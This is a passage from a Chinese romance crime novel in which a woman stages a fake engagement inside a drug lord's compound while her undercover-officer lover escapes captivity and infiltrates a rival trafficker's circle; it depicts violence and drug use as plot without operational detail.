梁然托着下巴,蓝色的裙摆拂落在草地上,月光镀在她脸上,白皙得仿佛发光。 她很想沈宗野。 见到沈宗野后的痛只能藏在心里,她的思念也只能化在眼底,落在远处的黑夜。 她说:“小时候我和我爸妈在一块儿就喜欢这样坐着看星星,你呢?” 陈沥周知道她在演亲情的戏,便说起他那段童年。 他的童年是真的很幸福,家里没有多富裕,但是爸爸妈妈都在,爸爸爱妈妈,妈妈也温柔,对他特别好。 他说:“你知道吗,有时候我觉得你和我妈妈的气质真的很像,她在寨子里其实跟邻居处理不好关系,邻居总说她因为漂亮,脑子聪明,看不起他们,太高冷了。但我知道我妈妈不是那样的人。她和你一样,对外界清冷、包容,只对家里人那么好。” 梁然笑起来:“那肯定是因为她爱你爸爸,我看叔叔年轻的时候也应该挺帅的。” 陈沥周好笑。 梁然继续说着这些恶心的话。 从见到沈宗野后,她对董自新的恨就越浓。她必须要这个毒贩死,她要让这么罪恶的人受到制裁,她也想尽快告诉陈沥周他妈妈的事。 回到房间,他们照常演着亲密的戏,监听器依旧在工作,梁然逸出一声娇吟。 陈沥周脸颊滚烫,耳朵蔓延起一抹红。 可能因为这个计划成功了一小步,梁然笑着,眼睛格外明媚。 陈沥周镜片后的视线灼热,垂下眼皮遮掩他的心动。 他专注演着:“然然,我想永远跟你在一起。” “永远是多远?” “一辈子好吗,我想和你结婚,我们去纽约定居吧,远离这里……” …… 他们俩的对话董自新每晚睡前都会听,虽然徐川都会给他汇报一遍,但董自新还是很希望了解陈沥周的内心世界。他就这么一个儿子,可以说他是真的很爱陈沥周。 因此在第二天陈沥周说想带梁然去美国定居,想和她结婚时,董自新并不意外。 陈沥周说:“你能让我们走吗?” “为什么这么看着爸爸?”陈沥周的眼神变得小心起来,让董自新有些失落,他说,“我早就希望你想明白了,你能想通最好。” “那你是答应我们结婚了?爸爸,谢谢你。”陈沥周说,“我们可以先订婚,把这个好消息告诉奶奶,我想让你和奶奶都参加我们的订婚仪式。” 董自新笑着点了头。 “我想回宁城我妈妈的园林订婚,那座园林建好了我还没有去看一眼。正好奶奶也在宁城,不用她太奔波。” 陈沥周故意这样说,他知道老太太不在宁城,董自新也更不会答应他们回国内,尤其还是在宁城订婚。 董自新当即拒绝了。 陈沥周眼神黯然:“你是不信我吗?为了梁然,我不会再管你的事。” “不是,你回国内不安全。” “又没人知道我们是父子。”陈沥周沉默片刻,“算了,那在这里也行,但是我要见到奶奶,我很想她,她以前也见过然然,很喜欢然然。还有,我想在这个月20号和然然订婚。” 董自新思考着:“那时间有点赶。” “5月20号,是你和妈妈领结婚证的日子。” 董自新看着陈沥周,答应了。 董自新让陈沥周去找徐川交代订婚要准备的东西。 他把梁然单独叫到了房间。 董自新坐在客厅沙发上,脸色已经不是面对陈沥周时那种慈爱,他眸子犀利阴鸷,寒森森盯着梁然。 梁然有些惶恐,在想自己犯了什么错,小心地喊:“叔叔?” “沥周要和你订婚。” “嗯,他向我求婚了,叔叔会答应吗?” 董自新笑了起来,可他的笑没有温度,语气也冷。 “别一口一个叔叔了,我知道你忌惮我。” 梁然沉默片刻:“是的,我很害怕你,来之前孟曦就跟我说过,希望求我让你放了她妈妈,也叮嘱我你们可能是很坏很坏的人。我确实很害怕你,但我想把沥周从这里带走。” “他是一个干净的人,他身上不应该有这些见不得光的肮脏。” “你觉得我们肮脏?” 梁然说:“难道不是吗?” 终于被挑破情绪,她像是不再伪装了,直面董自新,还是带着那份年轻女生的害怕,却敢为了爱鼓起勇气。她说:“我不太想以后和沥周一直生活在你身边,你会给他带来危险,而且他也应该过更好的生活。” 客厅里寂静了许久。 董自新终于再次开口,依旧面无表情:“你们可以结婚,但我要你一年之内生一个儿子,给我抚养。” 梁然愣住:“为什么?” “你想和沥周生活在纽约,就必须按我说的做。否则沥周也救不了你。” 梁然有些愤怒:“我和沥周的宝宝是我们的孩子,是我们因为爱情生下的孩子,不会给你抚养!” 董自新不怒反笑,端起桌上的茶水闻着茶香。 “那你可以试试,你是要这个孩子还是你的妹妹和朋友平安。我查了你还有个妹妹,在怀城一中念高一,你有个合伙人是你的好朋友,叫乔思嘉。你之前流掉的宝宝是陆朝的?你别以为我什么都不知道。” 梁然忽然很庆幸她以前没有公开过沈宗野的身份,也很庆幸公司里知道她和沈宗野恋爱的人不多,但她还是牵连了梁悦和乔思嘉。这一趟她来得没有准备,也抱着回不去的心态,但她还是替亲友欠考虑了。 其实刚才的愤怒也是演戏,如果她那么轻易地答应,董自新才会多疑吧。 她呼吸沉重,胸口因为急促的气息而起伏,有种被威胁的不爽,也依旧很愤怒和不解。 董自新说:“你能做到,我就不动他们。” 梁然:“可我怎么保证一年之内就能怀孕生孩子,还保证性别,这不科学。” “等你们到了纽约我会给你们提供医学支持。”董自新说,“沥周的精。子存活率不高,你必须保证这个孩子是他的。还有,你不能和他离婚,不能让他为你伤心。” “他身体怎么了?”梁然只关心陈沥周的身体,眼里担忧。 她算是过了董自新这一关。 直到陈沥周在客厅外敲门,紧张地进来牵住她的手。 梁然和董自新都笑他太过紧张了。 梁然说:“叔叔只是在叮嘱我一些事情。” 他们离开后,徐川回到客厅,给出陈沥周要的一份清单。 董自新垂眼认真扫着,又安排了些别的。 徐川说:“老太太年纪大了,今天就会安排让她慢慢出发,还有五天时间也够了,不会太折腾,我会注意好路线。” 徐川又沉吟:“董爷,你这么信任梁然吗?她曾经是沈宗野的女人。” “你是想说她出现得巧合,是跟沈宗野有关。”董自新头也不抬用独臂滑着膝盖上的平板,这句话也不是疑问句。 徐川点头,分析起梁然出现的各种动机。 董自新淡声道:“我不怕她是为了谁来,只要她能让沥周高兴。但她如果真是为了沈宗野来,我会让她死得比沈宗野还惨。” “那沈宗野呢?” 董自新头也不抬:“订婚一结束,把他做掉。” …… 订婚的许多东西都在隔天陆续送到了这里。 梁然和陈沥周也多了自由活动的机会,董自新减少了他们周围的岗哨,他们也能往那片草地走远一些,看到树林另一端几栋二三层的房子,都是董自新的地盘。 距离订婚还有三天。 梁然很想见到沈宗野,她已经迫不及待希望时间快些到来。 陈沥周说老太太已经在来的路上了。 梁然很信任南城警方的能力。 没有意外的话,她一定可以救到沈宗野,让他平安。 因为订婚还准备了晚宴,做BBQ的烤架也提早送到了。 晚上,梁然和陈沥周在草坪上试着烤了些东西,邀请了董自新过来品尝。 董自新坐在露营椅上吃着他们做好的烤肉。 陈沥周在撒烤架上的调料,梁然就换调料盒递给他。 他们聊起留学时候的聚会,相熟的华人同学每周都喜欢在野外露营。 徐川忽然穿过夜色急匆匆走来。 他看了眼梁然和陈沥周,低头对董自新耳语了一句,脸色很不好。 董自新慢吞吞放下手上的肉串,取来纸巾擦手。 他一只手很不方便,陈沥周就过去抽了张湿巾递给他。 “爸爸,怎么了,是奶奶路上耽搁了?” 梁然的心忽然很紧张。 尤其是董自新侧过头,看不出情绪的眼眸落在她脸上。 “不是,是沈宗野。” “他逃了。” 心脏几乎快跳出来。 梁然极力控制才能说服自己不要露馅,她只是正常地诧异了一下,看到烤架上的羊排过火了,自然地拿起,没再关注这件事。 沈宗野逃了是什么意思? 是谢天明提前找到沈宗野了,没有等他们订婚那天再同时进行这个计划? 董自新从梁然身上收回目光,淡淡说:“他弄伤了我的人,从医院逃了。” 梁然握着铁签的手指用力到骨节泛白。 她继续把没烤好的那一面放到烤架上,才抬头继续听他们讲话,神态那么自然。 徐川递给董自新手机。 上面是医院那边发来的现场照片。 除了一地狼藉和打斗的鲜血,挨着病床的墙上还画了一轮弯月。 陈沥周在看这些照片,董自新没回避他。 陈沥周质问:“爸爸,难道你还是想杀他,他才逃的?” 陈沥周也很意外。 徐川说是沈宗野一个人逃走的。 明明他们的计划已经在顺利进行了,沈宗野再等三天就能等到雇佣兵来将他救走。 为什么他要逃? 陈沥周担心梁然,余光里幸好梁然神态都很正常。 董自新说:“爸爸答应你了留他的命,怎么还会杀他。” “那是你的人对他不好,是不是他们给罪受了?” 徐川说:“打听到了,沈宗野的确被郑豪的两名手下弄进了手术室,他们也没想到沈宗野这么记仇敢逃。但是这个弯月是什么意思,他真是个警察,留的暗号?还是随手画的。” 弯月。 梁然知道了。 沈宗野不要她救他。 原来他早就知道她来了。 他是怎么知道她在这里的? 她好像明白了。 是她身上的气味。 沈宗野说她喜欢她喷那款香水,来到这里她要的香水就是他喜欢的那一款。 她用惯了这瓶香,身上留下了这道香水味。 他在那天的病房里闻到了这个气味,知道她来了,为了他而来。 他不要她救他。 他才敢独自逃开。 羊排有些糊了,梁然如常地翻开,用剪刀修剪掉烤糊的部位。 她不想暴露她心底澎湃的情绪,她极力地控制着,不让眼眶里那么烫。 董自新问她:“你对沈宗野了解多少?” 梁然努力保持平静,认真想了想:“他好像讨厌男人对他有想法,他喜欢的是女人,如果有男的对他有那方面的想法,他会很暴躁,拼了命都要把对方弄伤弄残。你可以问问是不是看守的人对他有想法。” 董自新神秘莫测,看不出任何情绪。 夜色浓稠,一阵大风拂来,草地上的落叶被卷向了夜空,消失无踪。 沈宗野真的逃了。 此刻,他坐在救护车的副驾驶,从看守手上夺来的枪正抵着司机的太阳穴。 他眼眸冰冷,明明身上穿着松垮的病号服,脸色也是没有血色的白,但气场冷恣,像一个随时会开枪爆了司机头颅的暴徒。 这几天里,他一次次按捺住逃开的想法。 他怕他的异动给梁然带去危险。 如果他按照陈沥周纸条上的来做,不动声色等在那间病房里,他就不会打乱梁然和陈沥周的计划。但他害怕。 他怕梁然卷进来。 她为什么要来这么危险的地方,她做这一切有多少把握? 20号是什么计划?她怎么撤退? 他不知道。 他什么都不知道。 他只知道她做这一切全部是为了他。 就在昨天,沈宗野彻底想明白了。 他做不到等待。 梁然到底知不道她入的是一个死局,这里九死一生,就算有陈沥周的庇护她也始终是个外人。 他不要梁然赴险。 有什么下场就让他来受,他不要梁然卷进来。 做好决定,他迅速做了计划。 藏起来的置留针,耳朵上的纱布,墙上画下的弯月。 他不再惹怒两名看守的人,他在天黑时用置留针打开了锁扣,假装正常地躺在床上。他在两个男人睡前来门口看他一眼时,侧身躺着,用模糊不清的眼神盯着两人的腿间,微微昂起下颔,喉结轻滚,薄唇一圈圈咬开手上的纱布。 两个男人果然疏散走了过道上的岗哨,进了他的病房。 沈宗野用纱布勒住一人脖子,双脚缠死另一人的脖子,他迅速从他们身上搜出枪。 报警器被两人按响,门外传来错乱的脚步声。 沈宗野开枪射中进门的人,视线迅速梭巡到出口,从值班室翻身滚进去,破窗走了捷径。 追出来的人不停开枪无差别地射击,沈宗野在对方换枪时冲上了一辆救护车。 这些都是最短的时间里完成,一气呵成。 可做完这些,他被折磨的身体早就已经体力透支,强撑到现在。 夜色一片黑,他已经甩开了追来的车。 “下去!”冰冷的枪口怼着司机额头,沈宗野冷漠地命令。 司机滚下了车。 为了做得更逼真,沈宗野开枪击中司机的腿。他坐到驾驶座,疾驰出这条僻静的车道,直到开到楼房渐渐变多的市区,他才弃了车,穿进一条巷子里。 之前不这样逃是因为没有机会,也想打消董自新的疑心再取得信任,继续隐伏下来完成缉毒任务。 可现在他不想再等下去。 如果这次的逃离没有成功,他马上就会死,那梁然就不会牺牲她自己再救他了。 如果成功了,那他就可以保护她。 做过三次手术的身体早就已经烂透了。 没有消炎药物支持,沈宗野已经感到头晕脑胀,脚步也用不上力。 他终于停在这条巷道里,扶着墙按住腹部的手术伤口。 窗里映出的灯光点亮这片漆黑的夜,电视机的声音隐隐约约传出,沈宗野只喘息了几秒钟,继续前行。 如果现在是宁城,他和梁然是不是也应该在看电视机里那部没有看完的电影,度过属于他们的夜晚。 沈宗野扯下一处阳台上晾晒的黑色短袖和长裤换上。找到一辆停靠在楼门旁的摩托车,锐利的目光穿透黑夜,捡起一块砖砸掉钥匙门。 他没什么力气了,腿有些虚软。手指抠了好久扯出两条交流线,还好,他的两根手指加上半截拇指也够他灵活地操作。他点燃了电,撑着把手坐到车上,踩住启动杆穿出了巷道。 不知道这是哪座城市,他往夜空最亮,能看到灯光的地方开。 车速越快,迎面的夜风越凛冽,耳朵上的伤口仿佛被刀子割开。 他终于以最快的速度开到了市区,确定了这是哪座城市,将车丢下,走到夜市上人多的地方。 有几个女生在摊位前买生腌。 沈宗野从她们身后走过,有个女生斜挎着手机,因为和同伴讲话刚把手机放下,屏幕亮着还没有熄灭。 沈宗野割掉斜跨绳,不动声色拿走手机。 屏幕还没锁定,他快速按出王有为的号码。 “叔,是我。20号是什么计划?” 电话里王有为激动得不行,大家都以为他凶多吉少,都想奋力营救他。 王有为说完了陈沥周和梁然的计划,对他说:“现在你安全了,你找个地方等一天,我安排人来接你。” “不用,我要去清莱找个人。” “你去找谁?” “向邬道的上家。” 王有为瞬间明白了沈宗野想做什么,他语气严肃:“我们已经取得了跨国办案的手续,成立了联合专案组,已经在布控。我知道你是担心梁然,但我们的人那天会保护她。现在你好不容易安全了,应该配合我们的计划。你必须服从命令。” “没有把毒贩抓到审判台上,缉毒就没有一帆风顺,你说过毒贩没有真正受刑之前任何风险都可能发生。”沈宗野说,“隐伏线上的突发情况我能自己做决策,这是你给我的权力。” 沈宗野挂了电话,删掉记录。 他走出黑处,走到光下,在摊位前将手机递给急哭了的女生,抿起薄唇一笑:“你的手机,刚刚有小偷。” 他说的泰语,但女生用英文问他什么意思,她旁边的女生焦急说着中文。 沈宗野用中文重复了一遍,女生特别感激,不知道怎么谢他,忙问他吃不吃东西。 沈宗野笑:“好啊,那谢谢。” 他没客气,接过女生递来的那碗蟹肉炒饭转身往黑处离开,没有理会身后让他留个联系方式的女生。 他用最快的速度吞完了这盒炒饭,重新换了台摩托车穿进黑夜。 王有为说陈沥周和梁然的计划是用订婚引来陈沥周的奶奶,让警方顺着路线锁定位置。 她到底是怎么想的。 竟然以为他会允许她和别的男人订婚。 就算是假的他也不答应。【你现在阅读的是魔蝎小说 moxiexs】 120-127 第121章 第121章订婚提前了 只剩下三天的时间。 沈宗野一刻也不敢耽误。 清晨的时候,他实在已经体力不支,额头越来越烫,但身体只觉得冷,应该是伤口感染导致的发烧。他在一家药店顺走了两盒药,身体这才逐渐好受些。 他顺利进入清莱这座城市,找到之前云肖说过的一家赌场。 云肖之前来泰国替他将向邬道引到云南时,曾在这里得到一个夜场女人的帮助。女人好像叫Amber还是Andrea,和向邬道有过节,才帮了云肖。 沈宗野并不认识向邬道的上家,之前老单被捕后投靠向邬道的那些人也早就失去联系了。他只能来找这个女人,这是他唯一的机会,如果今天遇不到人,他再想别的办法。 清早的赌场还没开门,他在保安那里也问不到有用的线索。 连续一夜没睡,沈宗野短暂地靠在保安室休息了一个钟头,直到保安把他叫醒。 保安不认识叫Amber的女人,是想告诉他马上有人陆续来上班了。沈宗野等到了一个打扮艳丽的女人,问她认不认识Andrea。 女人摘下墨镜上下扫他一眼:“Amber还是Andrea?” “Amber。”沈宗野说,“抱歉,记错了。” “你是她情人啊?” “不是。” 女人笑了笑,一看沈宗野一身阴鸷的气场和她们就是同类人,还是大方地说了个地址。 沈宗野加快时间赶到这个地址,是一家豪华的酒店。 他找到了这个叫Amber的年轻女人。 女人漂亮、消瘦,骨骼分明的身形,大却无神的眼睛。她原本应该是个五官漂亮的人,因为吸毒而有一种近乎破裂的摧折感。 酒店房间里有吸毒过后的异常气味,沈宗野很了解。 他直接说明了缘由,提起云肖。 女人光脚坐回沙发,点着烟:“哦,你是他老大?” “是,还希望你帮我引荐。” “我凭什么帮你啊?” “多个人多条路走,你有不方便出头的事可以交给我办。”沈宗野说,“我会谢你。” Amber吐着烟,朝沈宗野勾了勾手指。 沈宗野走进去。 地板上有男士的裤头和用过的套、纸巾,一地狼藉。 Amber又勾了勾手指,示意他靠近一点。 沈宗野撑住旁边的桌沿,俯下身。 Amber身上也算是有一种奇怪的气质,她不化妆,素面朝天,皮肤也不通透,有一种花开败了的衰颓。她也不过二十四五岁,因为一双饱满的卧蚕显得年轻娇小,但眼神长久地淬在阴沟里的冷,像是连翻个身都懒。 沈宗野实在急迫,梁然那里越晚越拖不得,但他也只能按捺住情绪,勾起薄唇淡笑。 他这样俯身的角度,脖子上的平安符轻轻晃动。 Amber忽然被这个桃木牌吸引,涂着裸色美甲的手拿起来看,她看完正面的[永保平安]翻到背面。背面是游龙和云朵的图案,很复杂才能辨出是个“真”字,正常人也不会一眼往字体上想,只会觉得是个繁琐的图案。因此她看得有些久。 “你这个牌子哪儿来的?” “爹妈送的。” Amber抬起眼笑:“我挺喜欢,送给我吧。” “除了它,要别的我给你。” “你从哪里来?” “Tak。” “晚上七点,我带你去见傅爷。” 沈宗野不动声色分辨Amber的神色,女人继续抽着烟,看不出什么异常。 “谢了,但时间能不能再早点?” “你赶着投胎?”Amber吐出口烟,“那五点,傅爷也不是我想见就能见的,只能五点。” “行,谢了,谈成我的买卖我会还你个大人情。” 沈宗野离开房间,顺手虚带上房门。 Amber起身将门关上,站到露台上又点燃一支烟。阳光太热辣,也许有些刺眼,她长期透支的身体承受不了阳光直射眼底。她热泪盈眶。 …… 沈宗野在下午五点时见到了向邬道的上家,傅爷。 傅寒只有三十几岁,讲话喜欢带笑,但眼眸森冷,没把沈宗野放在眼里,连开口的机会都不想给。 傅寒说:“你来我这做什么?对我而言你是叛徒,我不和背叛我的人谈买卖。”他有些不悦地睨了眼旁边抽烟的Amber,那淡漠的眼神像在质疑她怎么带一个这么低端的人物来他面前。 对他们而言沈宗野的确算叛徒,他当初是跟老单的,老单被向邬道算计了,他就该老老实实跟着向邬道干,但他转投了董自新。 沈宗野说:“傅爷想要轻松一号的生意,我是来给你送机会。” 傅寒掀起眼皮,视线幽深。 “我在董爷那里干不下去了,他把我当警察往死里整,老子不想忍了,就想出一口恶气。” 傅寒来了兴致。 沈宗野说:“我知道帮他制毒的人是谁,关在哪里,只要把这个人抓到,傅爷就有了配方。而且现在有个好机会,20号董爷的儿子订婚,是个能混进去的绝佳时机。” 傅寒转着雪茄,豪华的包房里寂静了漫长的几十秒。 傅寒盯着沈宗野:“董自新怀疑你是警察,你又怎么像我证明你不是?” 沈宗野冷冷一笑:“我要是个警察,我拼了命逃出来干嘛还要回去?傅爷,你不想做,这金三角有的是人想做。今天就多谢傅爷百忙抽空见我,我去找敢干的人。” 他转身要走,包房门口横着七八名黑衣保镖拦住他的路。 傅寒冷笑:“后撤玩得还挺溜。”他看了眼Amber,“我是信你。” Amber扬了扬红唇,她画了妆,遮掩了黯淡的皮肤,灯光下白皙漂亮,夹着烟的手指骨骼分明,周身上下有一种清瘦到一折就脆的羸弱,但双眼又十足的颓懒。她说了谢谢。 傅寒对沈宗野说:“我要查一下你说的是不是真的。” 旁边的男人得傅寒示意走出了包房。 沈宗野接过保镖递来的雪茄,骨节分明手指拨动打火机的金属滚轮,偏头拢住蓝色火焰,三根残疾的手指让他整个人很是阴郁冷恣。 大概过了十几分钟,刚才的男人走到傅寒身边,弯腰耳语几句。 傅寒起身出了门。 Amber摇头晃脑,在烟的满足下有些颓懒飘然,她睁开眼,透过烟雾看沈宗野:“你很有气势嘛。” 沈宗野淡淡一笑:“拖您的福。” 他忽然觉得妆后精神变足的Amber有些眼熟,似乎在哪里见过。 傅寒一直还没回来。 沈宗野思考着如果在这里失败了他还有什么计划。 他原本是想借傅寒的手提前将梁然救出来,他相信傅寒这样的人只要想做,一定会有他们的办法。 大概过了十几分钟,傅寒终于回到包房里。 他说:“你消息有误,董自新不是20号要办订婚宴,是19号,明晚。”傅寒说他虽然没受到邀请,但有名政客受到了邀请,傅寒打听到是明天傍晚六点的订婚仪式。 沈宗野太阳穴一跳。 事情提前了,为什么? 梁然是不是有危险? 那这样警方20号的计划也会被打乱,这个消息他得告诉王有为。 傅寒:“你有多大把握把人给我带出来?” 沈宗野:“傅爷给我些人手,我有九成把握把人弄出来,就算人出不来,配方也必须到您手头。” 傅寒勾起笑:“等你的好消息,办不到,你这条命就搁我这儿。” Amber一笑:“好害怕,傅爷还是喊打喊杀的。” 傅寒哈哈笑。 沈宗野得到了七名人手,其中一个人还是之前在怀城跟着老单时见过的一名手下,两人也算熟识。 兜兜转转,他好像又回到了最初开始的时候。 傅寒在董自新的地盘上安插过眼线,明天会接应他们混进去,沈宗野和那七名人手在制定计划。 离开时,Amber也正好进入电梯。 沈宗野绅士地抬手替她挡门,电梯落停一楼,又先让她出去。 这会儿他需要一部跟王有为联络上的手机。 沈宗野交代那七个人先等他一下,他跟上Amber:“多谢你,我想借一步说话。” Amber懒洋洋扫他一眼,往她的车走去。 沈宗野坐进了她的车厢里。 他说:“你是不是还有个名字,叫许希希。” 他说的不是疑问句,是肯定。 他已经想起来了,刚才在包房里的时候觉得化过妆的Amber变得年轻有活人感了,有点眼熟,他仔细搜寻记忆,才发现他在向邬道那个案子里见过许希希的照片。 那是十八岁的许希希,跟白天素面朝天、早被毒品透支完身体的Amber比不太像,但跟化完妆后的Amber很像。 Amber懒洋洋掀起浓密的眼睫,好笑地弯起红唇:“谁啊?不认识。” Amber打开包找烟,也许毒瘾又将发作,她的手指有些不可控的抖动。 沈宗野笃定她就是许希希。 他现在也终于明白为什么当初云肖能得到她的帮助对付向邬道,因为许希希恨向邬道。他也明白了为什么今天他能这么顺利。不是因为他这次运气好。 是因为梁然。 因为他脖子上的平安符。 许希希不是帮他,她应该认得这块平安符,她帮的是梁然。 Amber毒瘾发作,抖动的手指按不开金属扣。 沈宗野替她打开包,她找出跟刚才抽的不一样的一种烟,抖动的手指点燃,大口吞着烟雾。 海洛。因燃烧的酸臭焦味充斥整个车厢,混在Amber浓烈的香水味中。她的脖子高高昂起,锁骨尖锐突兀,欣快。感让她发出愉悦的抖动。 沈宗野等她平复好,正要开口,Amber说:“你还要我帮你做什么?” “我想借你手机用。” Amber把手机递给他,头也没回下了车。 梁然之前说许希希是她的发小,是她年少时最好的朋友。他说起许希希的案子时,梁然会沉默,会无声难过。 现在Amber的行为早已经默认了她就是许希希,仍旧是那个和梁然一样在意双方的许希希。 沈宗野打完了电话,将董自新提前举办订婚宴的情况上报给了王有为。 他下了车,对Amber说:“谢谢。” Amber只是沉默地抽烟,夕阳的光还是那么刺目强烈,照在她眼底还是让她涌上灼眼的热泪。 晚霞染红远处绚丽的云层,这场夕阳盛大炫目,终被降临的夜色吞噬,玫瑰色的云层褪尽在天的那一头。 梁然远眺着这片褪尽的夕阳。 蓝色的裙摆盖在她小腿和草地上,她抱着膝盖的手腕上佩戴的不是沈宗野给的那只白玉镯子了,是白天陈沥周的奶奶送给她的一只糖白手镯。 老太太今天已经到了这里。 按理说这里的位置也被警方锁定了,应该已经已进入抓捕的布控环节。 距离胜利越来越近,梁然担心的却是沈宗野。 从昨天他逃跑的消息传来后,她以为董自新会派人去抓沈宗野,陈沥周也侧面去打听了消息,告诉她别担心,董自新说最重要的是现在的订婚宴,他还没有派人去抓沈宗野。 但梁然还是隐隐的不安。 “然然,怎么一个人在这里?” 老太太的声音从后面传来。 梁然忙起身,笑着去扶老人。 “奶奶,我在这里看夕阳,沥周去叔叔那里了。” 老太太叫李富琴,今早到的这里。她对梁然眯眼笑了笑,除了常年吃素有些面颊凹陷和消瘦外,老太太整个人看起来也是和蔼的,脖子上和手上随时挂着佛珠和菩提子。 但梁然知道李富琴买卖人口的事情,对这个老人实在亲近不起来。 老人看着她手上的镯子,从见她的第一面就对她很是满意,眯眼笑着。 梁然也弯起唇:“我扶您回去吧。” 陈沥周也来到了草坪上,远远喊了声奶奶,自然地扶住李富琴。 “和你爸爸聊完了?” “嗯,到时候我和然然在纽约安顿好,我就接您过来。” 李富琴笑着点头。 董自新是希望陈沥周和梁然稳定后把李富琴送到纽约和他们一起生活。 一切看似都在他们顺利的计划中。 李富琴没让陈沥周和梁然将她送回房间,让他们年轻人自己活动。 梁然看着远处一片绿色的草野,夕阳已经散尽,夜幕用黑色登场,吞掉了远处旖旎的霞光。 陈沥周知道梁然在担心沈宗野,用口型说了句别担心。 梁然看了眼他衣服上多出的监听器,最终只是笑了笑。 昨天之后陈沥周身上就多了一枚监听器,但梁然必须找机会告诉陈沥周他妈妈的事情了。 在这里的这些天,她不喜欢回到那个牢笼一样的房子,宁愿坐在这片绿野上吹风,即便有时候太思念沈宗野时晚风会让她的偏头痛发作,也比回到那个牢笼里强。 梁然又坐了很久,直到夜幕里满空的星辰都在闪烁。 陈沥周说:“你喜欢看看星星?” “嗯。” “那明天晚上我安排一些无人机表演,让你看一场比这个盛大的星空。” 梁然好笑地弯起唇,用幸福的声音回应,毕竟得顾着监听器。 “回去吧,晚上有些凉。”陈沥周牵起她的手。 梁然和他往回走,手指忽然被陈沥周扣住,他的力量收紧。 梁然看了他一眼,青年的侧脸挺立英俊,镜片后的眼睛朝她浮起笑。 他有些不舍。 梁然知道,陈沥周对她的喜欢是至诚的。 即便他们只是演戏,但他的感情却是真的。 回到房间,陈沥周去了浴室洗漱。 梁然想把他妈妈的事情告诉他了。 她计划着应该怎么说,在卧室里说她怕会有隐藏的摄像头。 陈沥周冲了澡出来,发梢有些湿润。 梁然轻轻抿起唇,走进浴室。 她又像之前那样叫陈沥周帮她拿睡衣进来。 陈沥周将睡衣递到门口,梁然握住了他手腕,将他拉进了浴室里。 她身上穿着白天的裙子,水浇湿了面料,薄软的蓝色亚麻服帖在身体曲线上。 陈沥周喉结滚动,配合着梁然,嗓音温润:“然然,你真好看。” 梁然勾住了陈沥周的脖颈,踮起脚尖吻了他。 花洒的水浇湿在他们身上,淋湿了固定在陈沥周衣服上的监听器。 梁然不知道这个东西防不防水,她脱下陈沥周的短袖,扔到地上,让花洒浇在上面。 陈沥周看出她是有话要说。 他停下了吻,沾着水汽的眼睫垂下,紧望着梁然。 梁然垫起脚尖靠近他耳朵,压低了声音。 “你妈妈的真名叫童习贞,苏州人,父母是大学建筑系教授。她是被你奶奶买卖进你家的,她的父母为了寻找她发过很多寻人启事,上过报和电视台。你爸爸发现后用车祸将他们灭了口。” 声音很轻的一句话在陈沥周耳中胜过咆哮的巨浪。 他猛然抬起眼睛,眼底全是狂风暴雨。 他薄唇颤抖,脱口就要再次询问梁然是不是假的?他的爸爸和奶奶再残忍,怎么会对他妈妈这么残忍? 梁然用嘴唇堵住了陈沥周的话。 她微微喘息,发出颤抖的娇吟。 “沥周,不要。” 陈沥周被梁然拉回了理智。 他浑身颤抖,滚烫的水珠涌出眼眶,分不清是花洒的水还是他的眼泪。 他像个无助的孩子看着梁然,企图在她眼里求证。 梁然只流露出了一丝安慰,就恢复到亲昵的状态。 她太戒备了,为了沈宗野,她防备着周围一切的监视,连这间浴室她都害怕藏着摄像头。 她再次抱住陈沥周,将他搂到她肩上,娇嗔地说:“你不要这样。” 陈沥周狠狠攥紧了拳头,扶住梁然的腰,将脸埋进她肩颈,所有情绪都被他努力地控制,再次抬起头时,他已经收起了情绪,勉强对梁然笑。 他的爸爸竟然可以这么残忍? 他妈妈叫童习贞?好陌生的名字,他一直以为她叫李小静。 他想起来了。 他妈妈脚踝上有一圈伤痕,他有记忆以来问过一次那是什么,妈妈淡淡说是以前上山捡蘑菇时踩到野兽夹了。 两处脚裸都有那样一圈愈合的伤痕,分明是锁链啊。 他妈妈是寨子里最冷清的一个人,气质像梁然,像雪山高处的寂雪。寨子里没有人喜欢她。但她从来不在意别人的眼光,她对他说“好好念书,知道吗,不要在意别人的眼光,你是独一无二的”。 他妈妈说“周周,妈妈爱你,我有一个秘密想等你长大跟你分享”。 他想起来了,她说过两次她有一个秘密。 第一次是她和他聊起那样漂亮的园林建筑时,他问妈妈怎么知道,妈妈说这是她的秘密。 第二次是她说她很爱他,希望他快些长大,用最好的学习成绩走出这里。 他生下来就很聪明,学习成绩也很好,远胜过了寨子里所有的孩子。 可陈沥周从来没有思考过为什么他的爸爸只是一个普通的村民,却能生出他智商这么高的孩子。 他为什么从来没有想过这一点,不是因为他爸爸的基因,是他妈妈优越的基因。 梁然好像知道他很痛苦。 她拍着他的背,声音很轻:“我见过童习贞的照片,穿着很洋气的裙子,她很漂亮。” 陈沥周流下一行眼泪。 他没见过他妈妈穿过洋气的裙子,印象里她穿的都是裤子。 梁然还在轻轻拍着他的背。 陈沥周藏起情绪,终于恢复到状态里,低笑说:“洗好了去床上。” 他捡起地板上的衣服走出浴室。 梁然洗完澡回到卧室。 陈沥周将她搂到怀里,手臂紧紧将她圈住。 他们以往每一天做的都是戏,陈沥周也不会这样用力地抱她,这一刻他仿佛是寻求安慰的孩子,抱着她的手臂都有些颤抖。 梁然轻轻在陈沥周耳边说:“坚强一点,会过去的。” “梁然,谢谢你……” 第二天看似没有任何异常,只是陈沥周在见到奶奶时脚步有些停顿。 梁然笑着喊“奶奶”。 陈沥周才浮起笑,正常地和李富琴聊天。 中午时董自新忽然把梁然和陈沥周叫过去,告诉他们晚上六点会举办订婚仪式。 梁然怔住,意外地望向端坐在沙发上的董自新。 董自新神态极为自然:“我给你们订了凌晨一点的机票去纽约。” “爸爸?”陈沥周也怔住,“我们不是明天中午举办仪式吗?” 董自新睨了眼梁然,自然地转动手上的茶杯:“我给你们算了风水,今天的好日子比较好。” 陈沥周说太突然,他们什么都没准备好。 董自新笑着让他们安心,一切自然有人替他们安排。 陈沥周的坚持没有作用,梁然和他一起回到了这栋楼里。 客厅里已经多了造型师和摄影师等人,订婚礼服也全都送了过来。 李富琴笑着说礼服漂亮,给造型师等人发着红包,又叮嘱梁然安心听董自新的:“沥周爸爸也是为你们着想,他虽然做这个生意但本性不坏,他对我非常孝顺,只要你和沥周是真心的,他爸爸不会难为你的。”李富琴说别怕。 也许在她眼里一个孝顺的儿子品性再坏,也是值得被原谅的坏。 梁然接受不了李富琴这种思想。 眼前的老人是一个买卖人口的人,昨天老太太来到这里,见到久违的陈沥周,流着眼泪抱着孙子。 这个老人在抱着自己亲人的时候,有没有想过童习贞的父母也曾经那么思念女儿,受着比她还痛苦的罪? 